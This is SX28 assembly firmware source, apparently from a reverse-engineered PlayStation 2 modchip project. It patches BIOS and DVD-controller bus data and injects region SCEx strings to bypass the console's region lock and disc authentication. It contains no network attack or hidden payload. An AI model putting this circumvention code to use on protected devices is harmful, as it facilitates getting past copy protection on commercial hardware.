retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG ; PSX_FLAG clrb here related finish mode run ? setb SOFT_RST setb EJ_FLAG ; skip logo patch after media for DEVMODE setb DEV1_FLAG ;set DEVMODE flags mov w,#115;$73 mov VAR_DC1,w ; VAR_DC1 = 73h = 115 clr w mov VAR_DC3,w ; VAR_DC3 = 0 mov w,#$15 mov fsr,w ; fsr = 15h with fsr starting for SRAM patch caching. start 15h due to 10-14 disabled bank 0 DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w ; mov value in w from patch data retw to indf which places it in the SRAM memory cache as addressed cycling. inc fsr ; +1 fsr to step up SRAM patch caching mov w,#$10 ; so that ends in top address of registery which is SRAM access. bottom 0-f reserved so when gets 1f goes 30h than 20h or fsr,w ; section 6.2.1 fig. 6-1 start at 15h then increase one 0001 0110 or 0001 0000 = 0001 1101 = 16h repeat inc VAR_DC3 ; + 1 VAR_DC3 starting 0 above decsz VAR_DC1 ; jmp DEV1_MODE_LOAD_LOOP till VAR_DC1 = 0 start 119 jmp DEV1_MODE_LOAD_LOOP page $0200 ; PAGE2 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;-------------------------------------------------------------------------------- MECHACON_WAIT_OE ;-------------------------------------------------------------------------------- NOTCALLED2 ;CDDVDSKIP_P8 snb IO_CDDVD_OE_A_1Q ; jmp MECHACON_WAIT_OE if ^Q = 1 jmp MECHACON_WAIT_OE ; wait until flipflop ^Q == 0 clrb IO_CDDVD_OE_A_1R ; reset flipflop so Q = 0 (and ^Q = 1) nop ; ... setb IO_CDDVD_OE_A_1R ; reset flipflop so ready for if lower sensed on cp (A) CONSOLE_IO_CDDVD_OE_A decsz VAR_DC1 ; decrement counter and repeat MECHACON_WAIT_OE if not yet zero jmp MECHACON_WAIT_OE ; ... ret ; counter finished: return ;-------------------------------------------------------------------------------- CDDVD_PATCH_DATA ;-------------------------------------------------------------------------------- ;PACKIT_BYTE jmp pc+w ; when called VAR_DC2 is in w so determins start point ; 1 is sent first rb.4-rb.7 then follows to nibble and send 2 to rb.4-rb.7 then flow for 8 bytes ; 1 2 ; G not patched on ps2 v1-v8 due to not connected. but is same overall patch for v1-v12 ea region. ; IHGB IHGB ; Remember b/f swapped final from v9kit sch, H=RW pal support f=tr or but how F=F rstbmp? USA H same as pal? retw $3b ; 0011 1011 ; 0 ; USA start retw $a0 ; 1010 0000 ; 1 retw $33 ; 0011 0011 ; 2 retw $28 ; 0010 1000 ; 3 retw $20 ; 0010 0000 ; 4 retw $ff ; 1111 1111 ; 5 retw $4 ; 0000 0100 ; 6 retw $41 ; 0100 0001 ; 7 ; USA end retw $44 ; 0100 0100 ; 8 ; PAL start retw $fd ; 1111 1101 ; 9 retw $13 ; 0001 0011 ; 10 retw $2b ; 0010 1011 ; 11 retw $61 ; 0110 0001 ; 12 retw $22 ; 0010 0010 ; 13 retw $13 ; 0001 0011 ; 14 retw $31 ; 0011 0001 ; 15 ; PAL end retw $8c ; 1000 1100 ; 16 ; JAP start retw $b0 ; 1011 0000 ; 17 retw $3 ; 0000 0011 ; 18 retw $3a ; 0011 1010 ; 19 retw $31 ; 0011 0001 ; 20 retw $33 ; 0011 0011 ; 21 retw $19 ; 0001 1001 ; 22 retw $91 ; 1001 0001 ; 23 ; JAP end ;MEDIA_PATCH START_CDDVD_PATCH clr fsr setb IO_CDDVD_OE_A_1R ;execute first patch for V12 only ... snb V14_FLAG jmp V9toV14_CONSOLE_CDDVD_START snb JAP_V8 jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V8 jap last mechacon spa rev mov w,#$30 mov w,VAR_BIOS_REV-w snb z jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V12 mov w,#$37 mov w,VAR_BIOS_REV-w snb c jmp V9toV14_CONSOLE_CDDVD_START ;patch DVD media for V9-10 ;V1-V8 version... fix for HDD operations ( bios activity ) ;HDD_FIX V1toV8_CONSOLE_CDDVD_START mov w,#4;$4 mov VAR_DC1,w ;:l0 V1toV8_AND_BYTE_SYNC1 mov w,#$90 V1toV8_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q ;wait sync byte FF FF FF FF jmp V1toV8_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$90 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V1toV8_CONSOLE_CDDVD_START decsz VAR_DC1 jmp V1toV8_AND_BYTE_SYNC1 jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_patch V9toV14_CONSOLE_CDDVD_START mov w,#15;$f ;15 mov VAR_DC1,w ;skip 16 byte for V9-10-12 dvd patch ,15 is a fix !!! ;dvd_patch1 V9toV14_AND_BYTE_SYNC1 mov w,#$b0 V9toV14_AND_BYTE_SYNC1_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$a0 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;FA-FC mov w,#$b0 ;media_l1 V9toV14_AND_BYTE_SYNC1_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV14_AND_BYTE_SYNC1_L2 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_AND_BYTE_SYNC2 mov w,#$0 ;00 mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 ;media_l2 V9toV12_AND_BYTE_SYNC2 mov w,#$b0 V9toV12_AND_BYTE_SYNC2_L1 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L1 clrb IO_CDDVD_OE_A_1R and w,IO_CDDVD_BUS mov VAR_PSX_BC_CDDVD_TEMP,w setb IO_CDDVD_OE_A_1R mov w,#$b0 ;FF mov w,VAR_PSX_BC_CDDVD_TEMP-w snb z jmp V9toV12_CONSOLE_PATCH1_POST mov w,#$a0 ;FC mov w,VAR_PSX_BC_CDDVD_TEMP-w sb z jmp V9toV14_AND_BYTE_SYNC1 snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP call MECHACON_WAIT_OE ;sleep for DVD media loaded in PSX mode ;dvd_patch2 ;Patch bus first time ;only F,G bit need patch :) ;patch to 0X 0X 0X 0X ;dvdr game is 0F 25 0F 25 ;dvdrom game is 02 01 02 01 ;dvd-rw game is 0F 32 0F 32 ;dvd9 video is 02 01 02 01 mov w,#$0 ;patch bus first time ! mov IO_CDDVD_BUS,w mov w,#$1f ;0001 1111 ;mechacon bus: IHGBXXXF ; '0' = output ! V9toV12_AND_BYTE_SYNC2_L2 snb IO_CDDVD_OE_A_1Q jmp V9toV12_AND_BYTE_SYNC2_L2 ;patch 4 bytes clrb IO_CDDVD_OE_A_1R ;this is byte #1 mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ; mov w,#5;$5 mov VAR_DC1,w ;skip 5 bytes , FIX for 15 bytes skip (see above ...) call MECHACON_WAIT_OE mov w,#$ff ;1111 1111 mov !IO_CDDVD_BUS,w ;CDDVD_PATCH V9toV12_CONSOLE_PATCH1_POST snb PSX_FLAG page $0000 jmp PS1_MODE_START_PATCH ;CDDVD_PATCH_V1 ;wait for mecha FA-FF-FF-01-00-00-01 then patch to 81 ;dvd_l1 ALL_CDDVD_PATCH1_GET_SYNC_BIT sb IO_BIOS_CS jmp CDDVD_IS_PS1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;wait sync byte FA FF FF ... clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l2 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l3 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l4 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;dvd_l5 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L4 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l6 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L5 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST ;dvd_l7 ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT_L6 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R sb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp V9toV12_CONSOLE_PATCH1_POST IFDEF RSTBUMP sb IO_CDDVD_BUS_h setb JAP_FLAG ENDIF snb PSX_FLAG page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;V1-V8: sleep for DVD media loaded in PSX mode ;dvd_c1 mov w,#$90 ;NEW 1 time 1 BYTE patch !!!!!!!!! mov IO_CDDVD_BUS,w mov w,#$6f ALL_CDDVD_PATCH1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH1 clrb IO_CDDVD_OE_A_1R mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R CDDVD_REGION snb IO_CDDVD_OE_A_1Q jmp CDDVD_REGION clrb IO_CDDVD_OE_A_1R mov w,#$ff mov !IO_CDDVD_BUS,w setb IO_CDDVD_OE_A_1R ;prepare patch region , here for speed !!! No move!!! snb JAP_FLAG jmp CDDVD_JAP snb UK_FLAG jmp CDDVD_PAL ;:reg_usa clr w jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_uk CDDVD_PAL mov w,#8;$8 jmp ALL_CDDVD_PATCH_SET_VAR_DC3 ;:reg_jap CDDVD_JAP mov w,#16;$10 ALL_CDDVD_PATCH_SET_VAR_DC3 mov VAR_DC2,w ; save offset... mov w,#8;$8 ;region patch : # of bytes to patch mov VAR_DC3,w mov w,#$ff mov IO_CDDVD_BUS,w ;!!!!!!!!!!!!! critical ;WAIT_DISK ;wait_dvd_lx ALL_CDDVD_PATCH_SYNC2_BIT mov w,#3;$3 mov VAR_DC1,w ;skip 6 byte (FA,FF,FF,FA,FF,FF) ;wait_dvd_l0 ALL_CDDVD_PATCH_SYNC2_BIT_L1 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i snb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L2 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L2 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT ALL_CDDVD_PATCH_SYNC2_BIT_L3 snb IO_CDDVD_OE_A_1Q jmp ALL_CDDVD_PATCH_SYNC2_BIT_L3 clrb IO_CDDVD_OE_A_1R nop setb IO_CDDVD_OE_A_1R snb IO_CDDVD_BUS_i sb IO_CDDVD_BUS_b jmp ALL_CDDVD_PATCH_SYNC2_BIT decsz VAR_DC1 jmp ALL_CDDVD_PATCH_SYNC2_BIT_L1 ;patch region ... mov w,#$f ; 0000 1111 = 0 output mov !IO_CDDVD_BUS,w ;reg_l1 RUN_CDDVD_PATCH mov w,VAR_DC2 call CDDVD_PATCH_DATA RUN_CDDVD_PATCH_NIBBLE snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R mov VAR_PSX_BC_CDDVD_TEMP,w mov w,<>VAR_PSX_BC_CDDVD_TEMP setb IO_CDDVD_OE_A_1R RUN_CDDVD_PATCH_NIBBLE_SEND snb IO_CDDVD_OE_A_1Q jmp RUN_CDDVD_PATCH_NIBBLE_SEND mov IO_CDDVD_BUS,w clrb IO_CDDVD_OE_A_1R inc VAR_DC2 setb IO_CDDVD_OE_A_1R decsz VAR_DC3 jmp RUN_CDDVD_PATCH CDDVD_PATCH_POST_RB_INPUT snb IO_CDDVD_OE_A_1Q jmp CDDVD_PATCH_POST_RB_INPUT mov w,#$ff mov !IO_CDDVD_BUS,w snb SOFT_RST jmp ALL_CDDVD_PATCH1_GET_SYNC_BIT ;exit_patch CDDVD_IS_PS1 clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0400 jmp PS1_DETECTED_REBOOT ;Modload repatch... FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P8 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 FINISHED_RUN_END snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP end
1nick9/PS2-Magic-ICE-FINAL-REVERSE	118,535	h2oWIP/h2o-orange-F-ps1ntscconsolefix.s	;****************************************************************************** ; h2o-orange-F-ntscconsoleps1fix.hex hash e34d47d9460e37dc78bd3bedc6b87cef ;**************************************************************************** device SX28,TURBO,PROTECT,BOROFF,BANKS8,OSCHS2,OPTIONX ID 'ICEREV' ;DEFINE RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal aaa45bfc43e3f1786c5fb1fa4e9815f8 ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 15aca3108d239eb682f27d17cc1ed3d1 ;JAPv14 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 9b55a672a34c1d54e712ec6859f927dd ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 5f657c9de1e3a5764b6dfe4282080402 f=tr 75k pal 47ecac90bbc541b7124b1fd18357e39a ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $08 ; DS 1 ; delay counter 1(small) VAR_DC2 = $09 ; DS 1 ; delay counter 2(small) VAR_DC3 = $0A ; DS 1 ; delay counter 3(big) VAR_DC4 = $0b ; DS 1 ; delay counter 4 VAR_PSX_TEMP = $0C ; DS 1 ; SEND_SCEX: rename later VAR_PSX_BYTE = $0D ; DS 1 ; SEND_SCEX: byte(to send) VAR_PATCH_FLAGS = $0E ; DS 1 VAR_SWITCH = $0F ; DS 1 VAR_BIOS_REV = $10 ; DS 1 ; 1.X0 THE BIOS REVISION byte infront in BIOS string is X.00 VAR_BIOS_YR = $11 ; DS 1 ; byteC of ;BIOS_VERSION_MATCHING VAR_BIOS_REGION_TEMP = $12 ; DS 1 ; temp storage to compare byte7 of ;BIOS_VERSION_MATCHING VAR_PSX_BITC = $13 ; DS 1 ; SEND_SCEX: bit counter ;note start at 8(works down to 0) VAR_PSX_BC_CDDVD_TEMP = $14 ; DS 1 ; SEND_SCEX: byte counter note start at 4(works down to 0) ; also used with mechacon patches and ps1 detect ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. ;VAR_SWITCH.2 = not used X_FLAG = VAR_SWITCH.3 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media DEV1_FLAG = VAR_SWITCH.4 V14_FLAG = VAR_SWITCH.5 ;set due to W for region of BIOS which decka models ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;** Reset of the chip ****************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mode $000F mov w,#$ff ; 1111 1111 mov !IO_BIOS_DATA,w ;to be sure ports are input ... mov w,#$ff ; 1111 1111 mov !IO_CDDVD_BUS,w ;.... mov w,#$ff ; 1111 1111 mov !ra,w ;... mode $000A ;set up edge register mov w,#$8 ; 0000 1000 mov !IO_CDDVD_BUS,w ;RB3 wait for LOW ( = 1 ),RB2 wait for hi ( =0 ) mode $0009 ;clear all wakeup pending bits clr w mov !IO_CDDVD_BUS,w mode $000B ;enable wakeup... mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ;... on RB3 ( eject ) & RB2 (reset) mode $000F sleep ;INIT_CHIP STARTUP ;here from stby & wake up... mode $000D ;TTL/CMOS mode... mov w,#$f7 ;1111 0111 mov !IO_CDDVD_BUS,w ;set IO_EJECT input as cmos ( level '1' > 2.5V ) work better with noise ... mode $000E ;? mov w,#$be ; 1011 1110 mov !IO_CDDVD_BUS,w mode $000F ;port mode mov w,#$7 ; 0000 0111 mov !ra,w ;port mode : all input mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;rtcc enabled,no int,incr.on clock, prescaler (bit 2,1,0). ;read power down register clr fsr mode $0009 ;read power down register clr w ;clear W mov !IO_CDDVD_BUS,w ;exchange registers = read pending bits mov VAR_PSX_BITC,w ;save wake up status ... mode $000F ;need 'cause removed from patch disk for speed ! ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND ;0 = power up from sleep , 1= power up from Power ON (STBY) snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 ;xcdvdman reload check page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS ;reset all used flag... clr VAR_SWITCH jmp BIOS_GET_SYNC ;--------------------------------------------------------- ;Delay routine using RTCC ;--------------------------------------------------------- ;-------------------------------------------------------------------------------- DELAY100m ;Precise delay routine using RTCC ;-------------------------------------------------------------------------------- mov w,#100;$64 mov VAR_DC1,w ;delay = 100 millisec. RTCC_SET_BIT mov w,#61;$3d mov rtcc,w ;load timer = 61 ; delay = (256-61)2560.02 micros.= 1000 micros. / 45 for 54M RTCC_CHECK mov w,rtcc ;wait for timer= 0 ... (don't use TEST RTCC) sb z ;skip next bit if rtcc = 0 jmp RTCC_CHECK ;loop w=rtcc till equal then will skip decsz VAR_DC1 ;VAR_DC1 = 100 count then skip next bit jmp RTCC_SET_BIT retp ;Return from call ;-------------------------------------------------------------------------------- SET_INTRPT ;setup interrupt routine ;-------------------------------------------------------------------------------- mode $000A ;set up edge register mov w,#$6 ; 0000 0110 mov !IO_CDDVD_BUS,w ; rb.1 IO_BIOS_CS rb.2 IO_REST high-to-low sense ;wait for low mode $0009 ;clear all wakeup pending bits clr w ; 0000 0000 mov !IO_CDDVD_BUS,w ; clear all wakeup pending bits ; set to 0 indicates that no valid edge has occurred on the MIWU pin. ; The WKPND_B register comes up with undefine value upon reset. mode $000B ;enable interrupt ; MIWU operation. see Section 4.4. mov w,#$f3 ; 1111 0011 mov !IO_CDDVD_BUS,w ; rb.2 IO_REST rb.3 IO_EJECT enable interrupt mode $000F ; XFh mode direction for RA, RB, RC output retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX ; SCEX HI ; Delay About 5mS mov w,#59;$3b ;#59 var_dc3 mov mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 set for 50mhz mov VAR_DC2,w not ra :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX ; SCEX LOW ; Delay About 5mS+ mov w,#59;$3b mov VAR_DC3,w :loop1 mov w,#212;$d4 ; #212 for 50mhz mov VAR_DC2,w snb IO_BIOS_CS ; next byte / wait for bios CE LOW = BIOS select jmp :loop2 setb SCEX_FLAG :loop2 mov w,#3;$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb JAP_FLAG jmp jap snb UK_FLAG jmp uk clr VAR_DC4 jmp usa uk mov w,#8;$8 mov VAR_DC4,w jmp usa jap mov w,#4;$4 mov VAR_DC4,w jmp usa usa mov w,#4;$4 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$b mov !ra,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#8;$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#22;$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- NOTCALLED0 snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,IO_BIOS_DATA mov VAR_BIOS_REV,w ; capture byte5 as VAR_BIOS_REV ; v1.x0 of bios rev CAPTURE_BIOS_REGION snb IO_BIOS_OE ; next byte / wait for bios OE low jmp CAPTURE_BIOS_REGION nop mov w,#$30 ; ASCII 0; is byte6 0 as fixed value check mov w,IO_BIOS_DATA-w sb z jmp CAPTURE_BIOS_REGION ;loop back to CAPTURE_BIOS_REGION if not ASCII 0 call BIOS_WAIT_OE_LO_P1 